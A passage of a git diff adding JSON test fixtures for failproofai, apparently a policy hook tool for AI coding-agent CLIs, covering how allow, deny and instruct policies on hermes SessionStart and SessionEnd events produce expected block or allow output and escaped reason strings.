a/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..84e37f03 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..c09402f3 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..4237c64b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2cbec36a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..12e49976 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..faed8c8a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..31701e34 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..534c770e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..130823eb --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4dbd9e3a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..85db7353 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0fc3c168 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..63768b68 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..816e11be --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..72bc507d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..348e2d52 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cf5ea131 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2ba8ee3e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c295b84e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + 